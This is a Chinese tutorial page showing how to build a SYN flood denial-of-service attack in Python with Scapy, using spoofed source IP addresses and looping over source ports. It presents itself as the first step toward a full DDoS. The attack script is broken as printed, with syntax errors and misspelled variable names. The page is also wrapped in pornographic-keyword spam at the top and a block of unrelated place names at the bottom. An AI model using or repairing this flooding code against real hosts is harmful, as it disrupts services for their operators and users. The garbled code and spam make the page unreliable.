最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Python項(xiàng)目 基于Scapy實(shí)現(xiàn)SYN泛洪攻擊的方法

 更新時間:2019年07月23日 10:27:29   作者:茂子666  
今天小編就為大家分享一篇Python項(xiàng)目 基于Scapy實(shí)現(xiàn)SYN泛洪攻擊的方法,具有很好的參考價(jià)值,希望對大家有所幫助。一起跟隨小編過來看看吧

python3版本的Scapy--Scapy3k來實(shí)現(xiàn)一個簡單的DDos。

首先實(shí)現(xiàn)SYN泛洪攻擊(SYN Flood,是一直常用的DOS方式之一,通過發(fā)送大量偽造的TCP連接請求,使被攻擊主機(jī)資源耗盡的攻擊方式)。TCP三次握手的過程在這里就不再贅述,SYN攻擊則是客戶端向服務(wù)器發(fā)送SYN報(bào)文之后就不再響應(yīng)服務(wù)器回應(yīng)的報(bào)文,由于服務(wù)器在處理TCP請求時,會在協(xié)議棧留一塊緩沖區(qū)來存儲握手的過程,如果超過一定的時間沒有接收到客戶端的報(bào)文,那么本次連接在協(xié)議棧中存儲的數(shù)據(jù)就會被丟棄。攻擊者如果利用這段時間發(fā)送了大量的連接請求,全部掛起在半連接狀態(tài),這樣將不斷消耗服務(wù)器資源,直到拒接服務(wù)。

Scapy是一個強(qiáng)大的交互式數(shù)據(jù)包處理程序,可以用來發(fā)送、嗅探、解析和偽造網(wǎng)絡(luò)數(shù)據(jù)包。首先需要安裝Scapy3k:

sudo pip3 install scapy-python3

現(xiàn)在學(xué)習(xí)一下scapy的使用方法:

sudo scapy(scapy發(fā)送數(shù)據(jù)包需要root權(quán)限)

(警告信息是因?yàn)橛幸恍┮蕾嚢鼪]有安裝,但是我們本次實(shí)驗(yàn)不需要使用我就不裝了)

現(xiàn)在我們使用Scapy構(gòu)造一個簡單的數(shù)據(jù)包看一下:

pkt = IP(dst = "192.168.0.10")

接下來我們就構(gòu)造一個SYN包:

pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")

(我們構(gòu)造了一個IP包和TCP包并將它們組合到一塊,這樣就有了一個完整的TCP數(shù)據(jù)包,否則是無法發(fā)送出去的,IP包中我)們指定了源IP地址src和目的IP地址dst,其中src是我們偽造的地址,flags的值設(shè)定為S說明要發(fā)送的是SYN數(shù)據(jù)包)

代碼實(shí)現(xiàn):

具體代碼如下:

import random
import scapy.all import *
 
def synFlood(tgt,dPort):
  srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
  from sPort in range(1-24,65535):
    index = random.randrange(4)
    ipLayer = IP(stc = stcList[index].dst = tgt)
    tcoLayer = TCP(sport = sPort,dport = dPort,flags = "S")
    packet = ipLayer/tcpLayer
    send(packet)

定義了srcList用于存放偽造的IP地址,之后定義了一個循環(huán),作用是每次發(fā)送數(shù)據(jù)包源端口都改變,可以看到在構(gòu)造TCP數(shù)據(jù)包的時候我們增加了一個參數(shù)sport,循環(huán)中改變的端口號就是給了sport這個參數(shù)。我們還調(diào)用random.randrange()函數(shù)來隨機(jī)從srcList中獲取一個偽造的IP地址。本次實(shí)驗(yàn)就算完成,下次實(shí)驗(yàn)實(shí)現(xiàn)一個完整的Ddos過程。

以上這篇Python項(xiàng)目 基于Scapy實(shí)現(xiàn)SYN泛洪攻擊的方法就是小編分享給大家的全部內(nèi)容了,希望能給大家一個參考,也希望大家多多支持腳本之家。

相關(guān)文章

  • Python線程下使用鎖的技巧分享

    Python線程下使用鎖的技巧分享

    本篇文章給大家分享了Python線程下使用鎖需要注意的地方,有興趣的朋友們可以學(xué)習(xí)參考下。
    2018-09-09
  • Python XML轉(zhuǎn)Json之XML2Dict的使用方法

    Python XML轉(zhuǎn)Json之XML2Dict的使用方法

    今天小編就為大家分享一篇Python XML轉(zhuǎn)Json之XML2Dict的使用方法,具有很好的參考價(jià)值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2019-01-01
  • Python函數(shù)命名空間和作用域(Local與Global)

    Python函數(shù)命名空間和作用域(Local與Global)

    這篇文章主要介紹了Python函數(shù)命名空間和作用域分別介紹Local與Global模式,內(nèi)容詳細(xì),具有一定的參考價(jià)值,需要的小伙伴可以參考一下
    2022-03-03
  • 用python實(shí)現(xiàn)百度翻譯的示例代碼

    用python實(shí)現(xiàn)百度翻譯的示例代碼

    這篇文章主要介紹了用python實(shí)現(xiàn)百度翻譯的示例代碼,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2018-03-03
  • 使用python socket分發(fā)大文件的實(shí)現(xiàn)方法

    使用python socket分發(fā)大文件的實(shí)現(xiàn)方法

    今天小編就為大家分享一篇使用python socket分發(fā)大文件的實(shí)現(xiàn)方法,具有很好的參考價(jià)值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2019-07-07
  • Python中yield函數(shù)的用法詳解

    Python中yield函數(shù)的用法詳解

    這篇文章詳細(xì)介紹了Python中的yield關(guān)鍵字及其用法,yield關(guān)鍵字用于生成器函數(shù)中,使得函數(shù)可以像迭代器一樣工作,但不會一次性將所有結(jié)果加載到內(nèi)存中,文中將用法介紹的非常詳細(xì),需要的朋友可以參考下
    2025-03-03
  • Python基礎(chǔ)篇之初識Python必看攻略

    Python基礎(chǔ)篇之初識Python必看攻略

    下面小編就為大家?guī)硪黄狿ython基礎(chǔ)篇之初識Python必看攻略。小編覺得挺不錯的,現(xiàn)在就分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2016-06-06
  • Python操作json數(shù)據(jù)的一個簡單例子

    Python操作json數(shù)據(jù)的一個簡單例子

    這篇文章主要介紹了Python操作json數(shù)據(jù)的一個簡單例子,需要的朋友可以參考下
    2014-04-04
  • wxPython事件驅(qū)動實(shí)例詳解

    wxPython事件驅(qū)動實(shí)例詳解

    這篇文章主要介紹了wxPython事件驅(qū)動機(jī)制,以一個獲取當(dāng)前位置信息的實(shí)例形式講述了wxPython事件驅(qū)動機(jī)制及其相關(guān)函數(shù)的用法,非常具有實(shí)用價(jià)值,需要的朋友可以參考下
    2014-09-09
  • mac系統(tǒng)裝python后pip命令不能用的解決方案

    mac系統(tǒng)裝python后pip命令不能用的解決方案

    這篇文章主要介紹了mac系統(tǒng)裝python后pip命令不能用的解決方案,具有很好的參考價(jià)值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教
    2024-01-01

最新評論

盐亭县| 高清| 祁连县| 开原市| 长乐市| 永福县| 惠水县| 城口县| 宜城市| 乌兰察布市| 洱源县| 武乡县| 天柱县| 昌平区| 芦溪县| 白沙| 沭阳县| 互助| 青川县| 深泽县| 神农架林区| 徐汇区| 财经| 汉源县| 桃园县| 集安市| 延长县| 南京市| 兴义市| 德阳市| 大埔区| 军事| 广东省| 车险| 通渭县| 孟州市| 乐清市| 射阳县| 金山区| 永靖县| 灌阳县|